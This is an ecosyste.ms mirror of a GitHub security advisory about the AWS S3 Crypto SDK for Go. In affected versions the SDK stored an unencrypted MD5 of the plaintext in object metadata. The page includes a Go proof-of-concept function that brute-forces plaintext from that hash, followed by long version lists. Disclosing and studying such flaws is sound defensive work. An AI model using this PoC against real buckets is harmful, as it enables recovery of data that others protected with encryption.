Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2d2YtOXZncC1wajd3

Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang

Summary

The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.

Specific Go Packages Affected

github.com/aws/aws-sdk-go/service/s3/s3crypto

Risk/Severity

The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.

The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.

The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.

Mitigation

The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.

Proof of concept

A Proof of concept is available in a separate github repository, this particular issue can be found at here:

func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
	_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
	plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
	blocks := length / 16
	possiblePlaintextNum := 1
	segNum := len(input.PossiblePlaintextSegments)
	for i := 0; i < blocks; i++ {
		possiblePlaintextNum *= segNum
	}
	for i := 0; i < possiblePlaintextNum; i++ {
		w := i
		guess := ""
		for j := 0; j < blocks; j++ {
			guess += input.PossiblePlaintextSegments[w%segNum]
			w /= segNum
		}
		guessMd5 := md5.Sum([]byte(guess))
		if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
			return guess, nil
		}
	}
	return "", fmt.Errorf("No plaintext found!")
}

The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.

Permalink: https://github.com/advisories/GHSA-76wf-9vgp-pj7w
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc2d2YtOXZncC1wajd3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 years ago
Updated: 7 months ago


Identifiers: GHSA-76wf-9vgp-pj7w
References: Repository: https://github.com/aws/aws-sdk-go
Blast Radius: 0.0

Affected Packages

go:github.com/aws/aws-sdk-go
Dependent packages: 25,342
Dependent repositories: 69,623
Downloads:
Affected Version Ranges: < 1.34.0
Fixed in: 1.34.0
All affected versions: 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.6.6, 0.6.7, 0.6.8, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 0.9.9, 0.9.10, 0.9.11, 0.9.12, 0.9.13, 0.9.14, 0.9.15, 0.9.16, 0.9.17, 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.6, 1.1.7, 1.1.8, 1.1.9, 1.1.10, 1.1.11, 1.1.12, 1.1.13, 1.1.14, 1.1.15, 1.1.16, 1.1.17, 1.1.18, 1.1.19, 1.1.20, 1.1.21, 1.1.22, 1.1.23, 1.1.24, 1.1.25, 1.1.26, 1.1.27, 1.1.28, 1.1.29, 1.1.30, 1.1.31, 1.1.32, 1.1.33, 1.1.34, 1.1.35, 1.1.36, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.2.6, 1.2.7, 1.2.8, 1.2.10, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 1.4.9, 1.4.10, 1.4.11, 1.4.12, 1.4.15, 1.4.16, 1.4.17, 1.4.18, 1.4.19, 1.4.20, 1.4.21, 1.4.22, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.5.10, 1.5.11, 1.5.12, 1.5.13, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.6.10, 1.6.11, 1.6.12, 1.6.13, 1.6.14, 1.6.15, 1.6.16, 1.6.17, 1.6.18, 1.6.19, 1.6.20, 1.6.21, 1.6.22, 1.6.23, 1.6.24, 1.6.25, 1.6.26, 1.6.27, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.7.5, 1.7.6, 1.7.7, 1.7.8, 1.7.9, 1.8.0, 1.8.1, 1.8.2, 1.8.3, 1.8.4, 1.8.5, 1.8.6, 1.8.7, 1.8.8, 1.8.9, 1.8.10, 1.8.11, 1.8.12, 1.8.13, 1.8.14, 1.8.15, 1.8.16, 1.8.17, 1.8.18, 1.8.19, 1.8.20, 1.8.21, 1.8.22, 1.8.23, 1.8.24, 1.8.25, 1.8.26, 1.8.27, 1.8.28, 1.8.29, 1.8.30, 1.8.31, 1.8.32, 1.8.33, 1.8.34, 1.8.35, 1.8.36, 1.8.37, 1.8.38, 1.8.39, 1.8.40, 1.8.41, 1.8.42, 1.8.43, 1.8.44, 1.9.0, 1.9.44, 1.10.0, 1.10.1, 1.10.2, 1.10.3, 1.10.4, 1.10.5, 1.10.6, 1.10.7, 1.10.8, 1.10.9, 1.10.10, 1.10.11, 1.10.12, 1.10.13, 1.10.14, 1.10.15, 1.10.16, 1.10.17, 1.10.18, 1.10.19, 1.10.20, 1.10.21, 1.10.22, 1.10.23, 1.10.24, 1.10.25, 1.10.26, 1.10.27, 1.10.28, 1.10.29, 1.10.30, 1.10.31, 1.10.32, 1.10.33, 1.10.34, 1.10.35, 1.10.36, 1.10.37, 1.10.38, 1.10.39, 1.10.40, 1.10.41, 1.10.42, 1.10.43, 1.10.44, 1.10.45, 1.10.46, 1.10.47, 1.10.48, 1.10.49, 1.10.50, 1.10.51, 1.11.0, 1.12.0, 1.12.1, 1.12.2, 1.12.3, 1.12.4, 1.12.5, 1.12.6, 1.12.7, 1.12.8, 1.12.9, 1.12.10, 1.12.11, 1.12.12, 1.12.13, 1.12.14, 1.12.15, 1.12.16, 1.12.17, 1.12.18, 1.12.19, 1.12.20, 1.12.21, 1.12.22, 1.12.23, 1.12.24, 1.12.25, 1.12.26, 1.12.27, 1.12.28, 1.12.29, 1.12.30, 1.12.31, 1.12.32, 1.12.33, 1.12.34, 1.12.35, 1.12.36, 1.12.37, 1.12.38, 1.12.39, 1.12.40, 1.12.41, 1.12.42, 1.12.43, 1.12.44, 1.12.45, 1.12.46, 1.12.47, 1.12.48, 1.12.49, 1.12.50, 1.12.51, 1.12.52, 1.12.53, 1.12.54, 1.12.55, 1.12.56, 1.12.57, 1.12.58, 1.12.59, 1.12.60, 1.12.61, 1.12.62, 1.12.63, 1.12.64, 1.12.65, 1.12.66, 1.12.67, 1.12.68, 1.12.69, 1.12.70, 1.12.71, 1.12.72, 1.12.73, 1.12.74, 1.12.75, 1.12.76, 1.12.77, 1.12.78, 1.12.79, 1.13.0, 1.13.1, 1.13.2, 1.13.3, 1.13.4, 1.13.5, 1.13.6, 1.13.7, 1.13.8, 1.13.9, 1.13.10, 1.13.11, 1.13.12, 1.13.13, 1.13.14, 1.13.15, 1.13.16, 1.13.17, 1.13.18, 1.13.19, 1.13.20, 1.13.21, 1.13.22, 1.13.23, 1.13.24, 1.13.25, 1.13.26, 1.13.27, 1.13.28, 1.13.29, 1.13.30, 1.13.31, 1.13.32, 1.13.33, 1.13.34, 1.13.35, 1.13.36, 1.13.37, 1.13.38, 1.13.39, 1.13.40, 1.13.41, 1.13.42, 1.13.43, 1.13.44, 1.13.45, 1.13.46, 1.13.47, 1.13.48, 1.13.49, 1.13.50, 1.13.51, 1.13.52, 1.13.53, 1.13.54, 1.13.55, 1.13.56, 1.13.57, 1.13.58, 1.13.59, 1.13.60, 1.14.0, 1.14.1, 1.14.2, 1.14.3, 1.14.4, 1.14.5, 1.14.6, 1.14.7, 1.14.8, 1.14.9, 1.14.10, 1.14.11, 1.14.12, 1.14.13, 1.14.14, 1.14.15, 1.14.16, 1.14.17, 1.14.18, 1.14.19, 1.14.20, 1.14.21, 1.14.22, 1.14.23, 1.14.24, 1.14.25, 1.14.26, 1.14.27, 1.14.28, 1.14.29, 1.14.30, 1.14.31, 1.14.32, 1.14.33, 1.15.0, 1.15.1, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 1.15.6, 1.15.7, 1.15.8, 1.15.9, 1.15.10, 1.15.11, 1.15.12, 1.15.13, 1.15.14, 1.15.15, 1.15.16, 1.15.17, 1.15.18, 1.15.19, 1.15.20, 1.15.21, 1.15.22, 1.15.23, 1.15.24, 1.15.25, 1.15.26, 1.15.27, 1.15.28, 1.15.29, 1.15.30, 1.15.31, 1.15.32, 1.15.33, 1.15.34, 1.15.35, 1.15.36, 1.15.37, 1.15.38, 1.15.39, 1.15.40, 1.15.41, 1.15.42, 1.15.43, 1.15.44, 1.15.45, 1.15.46, 1.15.47, 1.15.48, 1.15.49, 1.15.50, 1.15.51, 1.15.52, 1.15.53, 1.15.54, 1.15.55, 1.15.56, 1.15.57, 1.15.58, 1.15.59, 1.15.60, 1.15.61, 1.15.62, 1.15.63, 1.15.64, 1.15.65, 1.15.66, 1.15.67, 1.15.68, 1.15.69, 1.15.70, 1.15.71, 1.15.72, 1.15.73, 1.15.74, 1.15.75, 1.15.76, 1.15.77, 1.15.78, 1.15.79, 1.15.80, 1.15.81, 1.15.82, 1.15.83, 1.15.84, 1.15.85, 1.15.86, 1.15.87, 1.15.88, 1.15.89, 1.15.90, 1.16.0, 1.16.1, 1.16.2, 1.16.3, 1.16.4, 1.16.5, 1.16.6, 1.16.7, 1.16.8, 1.16.9, 1.16.10, 1.16.11, 1.16.12, 1.16.13, 1.16.14, 1.16.15, 1.16.16, 1.16.17, 1.16.18, 1.16.19, 1.16.20, 1.16.21, 1.16.22, 1.16.23, 1.16.24, 1.16.25, 1.16.26, 1.16.27, 1.16.28, 1.16.29, 1.16.30, 1.16.31, 1.16.32, 1.16.33, 1.16.34, 1.16.35, 1.16.36, 1.17.0, 1.17.1, 1.17.2, 1.17.3, 1.17.4, 1.17.5, 1.17.6, 1.17.7, 1.17.8, 1.17.9, 1.17.10, 1.17.11, 1.17.12, 1.17.13, 1.17.14, 1.18.0, 1.18.1, 1.18.2, 1.18.3, 1.18.4, 1.18.5, 1.18.6, 1.19.0, 1.19.1, 1.19.2, 1.19.3, 1.19.4, 1.19.5, 1.19.6, 1.19.7, 1.19.8, 1.19.9, 1.19.10, 1.19.11, 1.19.12, 1.19.13, 1.19.14, 1.19.15, 1.19.16, 1.19.17, 1.19.18, 1.19.19, 1.19.20, 1.19.21, 1.19.22, 1.19.23, 1.19.24, 1.19.25, 1.19.26, 1.19.27, 1.19.28, 1.19.29, 1.19.30, 1.19.31, 1.19.32, 1.19.33, 1.19.34, 1.19.35, 1.19.36, 1.19.37, 1.19.38, 1.19.39, 1.19.40, 1.19.41, 1.19.42, 1.19.43, 1.19.44, 1.19.45, 1.19.46, 1.19.47, 1.19.48, 1.19.49, 1.20.0, 1.20.1, 1.20.2, 1.20.3, 1.20.4, 1.20.5, 1.20.6, 1.20.7, 1.20.8, 1.20.9, 1.20.10, 1.20.11, 1.20.12, 1.20.13, 1.20.14, 1.20.15, 1.20.16, 1.20.17, 1.20.18, 1.20.19, 1.20.20, 1.20.21, 1.21.0, 1.21.1, 1.21.2, 1.21.3, 1.21.4, 1.21.5, 1.21.6, 1.21.7, 1.21.8, 1.21.9, 1.21.10, 1.22.0, 1.22.1, 1.22.2, 1.22.3, 1.22.4, 1.23.0, 1.23.1, 1.23.2, 1.23.3, 1.23.4, 1.23.5, 1.23.6, 1.23.7, 1.23.8, 1.23.9, 1.23.10, 1.23.11, 1.23.12, 1.23.13, 1.23.14, 1.23.15, 1.23.16, 1.23.17, 1.23.18, 1.23.19, 1.23.20, 1.23.21, 1.23.22, 1.24.0, 1.24.1, 1.24.2, 1.24.3, 1.24.4, 1.24.5, 1.24.6, 1.25.0, 1.25.1, 1.25.2, 1.25.3, 1.25.4, 1.25.5, 1.25.6, 1.25.7, 1.25.8, 1.25.9, 1.25.10, 1.25.11, 1.25.12, 1.25.13, 1.25.14, 1.25.15, 1.25.16, 1.25.17, 1.25.18, 1.25.19, 1.25.20, 1.25.21, 1.25.22, 1.25.23, 1.25.24, 1.25.25, 1.25.26, 1.25.27, 1.25.28, 1.25.29, 1.25.30, 1.25.31, 1.25.32, 1.25.33, 1.25.34, 1.25.35, 1.25.36, 1.25.37, 1.25.38, 1.25.39, 1.25.40, 1.25.41, 1.25.42, 1.25.43, 1.25.44, 1.25.45, 1.25.46, 1.25.47, 1.25.48, 1.25.49, 1.25.50, 1.26.0, 1.26.1, 1.26.2, 1.26.3, 1.26.4, 1.26.5, 1.26.6, 1.26.7, 1.26.8, 1.27.0, 1.27.1, 1.27.2, 1.27.3, 1.27.4, 1.28.0, 1.28.1, 1.28.2, 1.28.3, 1.28.4, 1.28.5, 1.28.6, 1.28.7, 1.28.8, 1.28.9, 1.28.10, 1.28.11, 1.28.12, 1.28.13, 1.28.14, 1.29.0, 1.29.1, 1.29.2, 1.29.3, 1.29.4, 1.29.5, 1.29.6, 1.29.7, 1.29.8, 1.29.9, 1.29.10, 1.29.11, 1.29.12, 1.29.13, 1.29.14, 1.29.15, 1.29.16, 1.29.17, 1.29.18, 1.29.19, 1.29.20, 1.29.21, 1.29.22, 1.29.23, 1.29.24, 1.29.25, 1.29.26, 1.29.27, 1.29.28, 1.29.29, 1.29.30, 1.29.31, 1.29.32, 1.29.33, 1.29.34, 1.30.0, 1.30.1, 1.30.2, 1.30.3, 1.30.4, 1.30.5, 1.30.6, 1.30.7, 1.30.8, 1.30.9, 1.30.10, 1.30.11, 1.30.12, 1.30.13, 1.30.14, 1.30.15, 1.30.16, 1.30.17, 1.30.18, 1.30.19, 1.30.20, 1.30.21, 1.30.22, 1.30.23, 1.30.24, 1.30.25, 1.30.26, 1.30.27, 1.30.28, 1.30.29, 1.31.0, 1.31.1, 1.31.2, 1.31.3, 1.31.4, 1.31.5, 1.31.6, 1.31.7, 1.31.8, 1.31.9, 1.31.10, 1.31.11, 1.31.12, 1.31.13, 1.31.14, 1.31.15, 1.32.0, 1.32.1, 1.32.2, 1.32.3, 1.32.4, 1.32.5, 1.32.6, 1.32.7, 1.32.8, 1.32.9, 1.32.10, 1.32.11, 1.32.12, 1.32.13, 1.33.0, 1.33.1, 1.33.2, 1.33.3, 1.33.4, 1.33.5, 1.33.6, 1.33.7, 1.33.8, 1.33.9, 1.33.10, 1.33.11, 1.33.12, 1.33.13, 1.33.14, 1.33.15, 1.33.16, 1.33.17, 1.33.18, 1.33.19, 1.33.20, 1.33.21
All unaffected versions: 1.34.0, 1.34.1, 1.34.2, 1.34.3, 1.34.4, 1.34.5, 1.34.6, 1.34.7, 1.34.8, 1.34.9, 1.34.10, 1.34.11, 1.34.12, 1.34.13, 1.34.14, 1.34.15, 1.34.16, 1.34.17, 1.34.18, 1.34.19, 1.34.20, 1.34.21, 1.34.22, 1.34.23, 1.34.24, 1.34.25, 1.34.26, 1.34.27, 1.34.28, 1.34.29, 1.34.30, 1.34.31, 1.34.32, 1.34.33, 1.34.34, 1.35.0, 1.35.1, 1.35.2, 1.35.3, 1.35.4, 1.35.5, 1.35.6, 1.35.7, 1.35.8, 1.35.9, 1.35.10, 1.35.11, 1.35.12, 1.35.13, 1.35.14, 1.35.15, 1.35.16, 1.35.17, 1.35.18, 1.35.19, 1.35.20, 1.35.21, 1.35.22, 1.35.23, 1.35.24, 1.35.25, 1.35.26, 1.35.27, 1.35.28, 1.35.29, 1.35.30, 1.35.31, 1.35.32, 1.35.33, 1.35.34, 1.35.35, 1.35.36, 1.35.37, 1.36.0, 1.36.1, 1.36.2, 1.36.3, 1.36.4, 1.36.5, 1.36.6, 1.36.7, 1.36.8, 1.36.9, 1.36.10, 1.36.11, 1.36.12, 1.36.13, 1.36.14, 1.36.15, 1.36.16, 1.36.17, 1.36.18, 1.36.19, 1.36.20, 1.36.21, 1.36.22, 1.36.23, 1.36.24, 1.36.25, 1.36.26, 1.36.27, 1.36.28, 1.36.29, 1.36.30, 1.36.31, 1.36.32, 1.36.33, 1.37.0, 1.37.1, 1.37.2, 1.37.3, 1.37.4, 1.37.5, 1.37.6, 1.37.7, 1.37.8, 1.37.9, 1.37.10, 1.37.11, 1.37.12, 1.37.13, 1.37.14, 1.37.15, 1.37.16, 1.37.17, 1.37.18, 1.37.19, 1.37.20, 1.37.21, 1.37.22, 1.37.23, 1.37.24, 1.37.25, 1.37.26, 1.37.27, 1.37.28, 1.37.29, 1.37.30, 1.37.31, 1.37.32, 1.37.33, 1.38.0, 1.38.1, 1.38.2, 1.38.3, 1.38.4, 1.38.5, 1.38.6, 1.38.7, 1.38.8, 1.38.9, 1.38.10, 1.38.11, 1.38.12, 1.38.13, 1.38.14, 1.38.15, 1.38.16, 1.38.17, 1.38.18, 1.38.19, 1.38.20, 1.38.21, 1.38.22, 1.38.23, 1.38.24, 1.38.25, 1.38.26, 1.38.27, 1.38.28, 1.38.29, 1.38.30, 1.38.31, 1.38.32, 1.38.33, 1.38.34, 1.38.35, 1.38.36, 1.38.37, 1.38.38, 1.38.39, 1.38.40, 1.38.41, 1.38.42, 1.38.43, 1.38.44, 1.38.45, 1.38.46, 1.38.47, 1.38.48, 1.38.49, 1.38.50, 1.38.51, 1.38.52, 1.38.53, 1.38.54, 1.38.55, 1.38.56, 1.38.57, 1.38.58, 1.38.59, 1.38.60, 1.38.61, 1.38.62, 1.38.63, 1.38.64, 1.38.65, 1.38.66, 1.38.67, 1.38.68, 1.38.69, 1.38.70, 1.38.71, 1.39.0, 1.39.1, 1.39.2, 1.39.3, 1.39.4, 1.39.5, 1.39.6, 1.40.0, 1.40.1, 1.40.2, 1.40.3, 1.40.4, 1.40.5, 1.40.6, 1.40.7, 1.40.8, 1.40.9, 1.40.10, 1.40.11, 1.40.12, 1.40.13, 1.40.14, 1.40.15, 1.40.16, 1.40.17, 1.40.18, 1.40.19, 1.40.20, 1.40.21, 1.40.22, 1.40.23, 1.40.24, 1.40.25, 1.40.26, 1.40.27, 1.40.28, 1.40.29, 1.40.30, 1.40.31, 1.40.32, 1.40.33, 1.40.34, 1.40.35, 1.40.36, 1.40.37, 1.40.38, 1.40.39, 1.40.40, 1.40.41, 1.40.42, 1.40.43, 1.40.44, 1.40.45, 1.40.46, 1.40.47, 1.40.48, 1.40.49, 1.40.50, 1.40.51, 1.40.52, 1.40.53, 1.40.54, 1.40.55, 1.40.56, 1.40.57, 1.40.58, 1.40.59, 1.41.0, 1.41.1, 1.41.2, 1.41.3, 1.41.4, 1.41.5, 1.41.6, 1.41.7, 1.41.8, 1.41.9, 1.41.10, 1.41.11, 1.41.12, 1.41.13, 1.41.14, 1.41.15, 1.41.16, 1.41.17, 1.41.18, 1.41.19, 1.42.0, 1.42.1, 1.42.2, 1.42.3, 1.42.4, 1.42.5, 1.42.6, 1.42.7, 1.42.8, 1.42.9, 1.42.10, 1.42.11, 1.42.12, 1.42.13, 1.42.14, 1.42.15, 1.42.16, 1.42.17, 1.42.18, 1.42.19, 1.42.20, 1.42.21, 1.42.22, 1.42.23, 1.42.24, 1.42.25, 1.42.26, 1.42.27, 1.42.28, 1.42.29, 1.42.30, 1.42.31, 1.42.32, 1.42.33, 1.42.34, 1.42.35, 1.42.36, 1.42.37, 1.42.38, 1.42.39, 1.42.40, 1.42.41, 1.42.42, 1.42.43, 1.42.44, 1.42.45, 1.42.46, 1.42.47, 1.42.48, 1.42.49, 1.42.50, 1.42.51, 1.42.52, 1.42.53, 1.43.0, 1.43.1, 1.43.2, 1.43.3, 1.43.4, 1.43.5, 1.43.6, 1.43.7, 1.43.8, 1.43.9, 1.43.10, 1.43.11, 1.43.12, 1.43.13, 1.43.14, 1.43.15, 1.43.16, 1.43.17, 1.43.18, 1.43.19, 1.43.20, 1.43.21, 1.43.22, 1.43.23, 1.43.24, 1.43.25, 1.43.26, 1.43.27, 1.43.28, 1.43.29, 1.43.30, 1.43.31, 1.43.32, 1.43.33, 1.43.34, 1.43.35, 1.43.36, 1.43.37, 1.43.38, 1.43.39, 1.43.40, 1.43.41, 1.43.42, 1.43.43, 1.43.44, 1.43.45, 1.44.0, 1.44.1, 1.44.2, 1.44.3, 1.44.4, 1.44.5, 1.44.6, 1.44.7, 1.44.8, 1.44.9, 1.44.10, 1.44.11, 1.44.12, 1.44.13, 1.44.14, 1.44.15, 1.44.16, 1.44.17, 1.44.18, 1.44.19, 1.44.20, 1.44.21, 1.44.22, 1.44.23, 1.44.24, 1.44.25, 1.44.26, 1.44.27, 1.44.28, 1.44.29, 1.44.30, 1.44.31, 1.44.32, 1.44.33, 1.44.34, 1.44.35, 1.44.36, 1.44.37, 1.44.38, 1.44.39, 1.44.40, 1.44.41, 1.44.42, 1.44.43, 1.44.44, 1.44.45, 1.44.46, 1.44.47, 1.44.48, 1.44.49, 1.44.50, 1.44.51, 1.44.52, 1.44.53, 1.44.54, 1.44.55, 1.44.56, 1.44.57, 1.44.58, 1.44.59, 1.44.60, 1.44.61, 1.44.62, 1.44.63, 1.44.64, 1.44.65, 1.44.66, 1.44.67, 1.44.68, 1.44.69, 1.44.70, 1.44.71, 1.44.72, 1.44.73, 1.44.74, 1.44.75, 1.44.76, 1.44.77, 1.44.78, 1.44.79, 1.44.80, 1.44.81, 1.44.82, 1.44.83, 1.44.84, 1.44.85, 1.44.86, 1.44.87, 1.44.88, 1.44.89, 1.44.90, 1.44.91, 1.44.92, 1.44.93, 1.44.94, 1.44.95, 1.44.96, 1.44.97, 1.44.98, 1.44.99, 1.44.100, 1.44.101, 1.44.102, 1.44.103, 1.44.104, 1.44.105, 1.44.106, 1.44.107, 1.44.108, 1.44.109, 1.44.110, 1.44.111, 1.44.112, 1.44.113, 1.44.114, 1.44.115, 1.44.116, 1.44.117, 1.44.118, 1.44.119, 1.44.120, 1.44.121, 1.44.122, 1.44.123, 1.44.124, 1.44.125, 1.44.126, 1.44.127, 1.44.128, 1.44.129, 1.44.130, 1.44.131, 1.44.132, 1.44.133, 1.44.134, 1.44.135, 1.44.136, 1.44.137, 1.44.138, 1.44.139, 1.44.140, 1.44.141, 1.44.142, 1.44.143, 1.44.144, 1.44.145, 1.44.146, 1.44.147, 1.44.148, 1.44.149, 1.44.150, 1.44.151, 1.44.152, 1.44.153, 1.44.154, 1.44.155, 1.44.156, 1.44.157, 1.44.158, 1.44.159, 1.44.160, 1.44.161, 1.44.162, 1.44.163, 1.44.164, 1.44.165, 1.44.166, 1.44.167, 1.44.168, 1.44.169, 1.44.170, 1.44.171, 1.44.172, 1.44.173, 1.44.174, 1.44.175, 1.44.176, 1.44.177, 1.44.178, 1.44.179, 1.44.180, 1.44.181, 1.44.182, 1.44.183, 1.44.184, 1.44.185, 1.44.186, 1.44.187, 1.44.188, 1.44.189, 1.44.190, 1.44.191, 1.44.192, 1.44.193, 1.44.194, 1.44.195, 1.44.196, 1.44.197, 1.44.198, 1.44.199, 1.44.200, 1.44.201, 1.44.202, 1.44.203, 1.44.204, 1.44.205, 1.44.206, 1.44.207, 1.44.208, 1.44.209, 1.44.210, 1.44.211, 1.44.212, 1.44.213, 1.44.214, 1.44.215, 1.44.216, 1.44.217, 1.44.218, 1.44.219, 1.44.220, 1.44.221, 1.44.222, 1.44.223, 1.44.224, 1.44.225, 1.44.226, 1.44.227, 1.44.228, 1.44.229, 1.44.230, 1.44.231, 1.44.232, 1.44.233, 1.44.234, 1.44.235, 1.44.236, 1.44.237, 1.44.238, 1.44.239, 1.44.240, 1.44.241, 1.44.242, 1.44.243, 1.44.244, 1.44.245, 1.44.246, 1.44.247, 1.44.248, 1.44.249, 1.44.250, 1.44.251, 1.44.252, 1.44.253, 1.44.254, 1.44.255, 1.44.256, 1.44.257, 1.44.258, 1.44.259, 1.44.260, 1.44.261, 1.44.262, 1.44.263, 1.44.264, 1.44.265, 1.44.266, 1.44.267, 1.44.268, 1.44.269, 1.44.270, 1.44.271, 1.44.272, 1.44.273, 1.44.274, 1.44.275, 1.44.276, 1.44.277, 1.44.278, 1.44.279, 1.44.280, 1.44.281, 1.44.282, 1.44.283, 1.44.284, 1.44.285, 1.44.286, 1.44.287, 1.44.288, 1.44.289, 1.44.290, 1.44.291, 1.44.292, 1.44.293, 1.44.294, 1.44.295, 1.44.296, 1.44.297, 1.44.298, 1.44.299, 1.44.300, 1.44.301, 1.44.302, 1.44.303, 1.44.304, 1.44.305, 1.44.306, 1.44.307, 1.44.308, 1.44.309, 1.44.310, 1.44.311, 1.44.312, 1.44.313, 1.44.314, 1.44.315, 1.44.316, 1.44.317, 1.44.318, 1.44.319, 1.44.320, 1.44.321, 1.44.322, 1.44.323, 1.44.324, 1.44.325, 1.44.326, 1.44.327, 1.44.328, 1.44.329, 1.44.330, 1.44.331, 1.44.332, 1.44.333, 1.44.334, 1.45.0, 1.45.1, 1.45.2, 1.45.3, 1.45.4, 1.45.5, 1.45.6, 1.45.7, 1.45.8, 1.45.9, 1.45.10, 1.45.11, 1.45.12, 1.45.13, 1.45.14, 1.45.15, 1.45.16, 1.45.17, 1.45.18, 1.45.19, 1.45.20, 1.45.21, 1.45.22, 1.45.23, 1.45.24, 1.45.25, 1.45.26, 1.45.27, 1.45.28, 1.46.0, 1.46.1, 1.46.2, 1.46.3, 1.46.4, 1.46.5, 1.46.6, 1.46.7, 1.47.0, 1.47.1, 1.47.2, 1.47.3, 1.47.4, 1.47.5, 1.47.6, 1.47.7, 1.47.8, 1.47.9, 1.47.10, 1.47.11, 1.47.12, 1.47.13, 1.48.0, 1.48.1, 1.48.2, 1.48.3, 1.48.4, 1.48.5, 1.48.6, 1.48.7, 1.48.8, 1.48.9, 1.48.10, 1.48.11, 1.48.12, 1.48.13, 1.48.14, 1.48.15, 1.48.16, 1.49.0, 1.49.1, 1.49.2, 1.49.3, 1.49.4, 1.49.5, 1.49.6, 1.49.7, 1.49.8, 1.49.9, 1.49.10, 1.49.11, 1.49.12, 1.49.13, 1.49.14, 1.49.15, 1.49.16, 1.49.17, 1.49.18, 1.49.19, 1.49.20, 1.49.21, 1.49.22, 1.49.23, 1.49.24, 1.50.0, 1.50.1, 1.50.2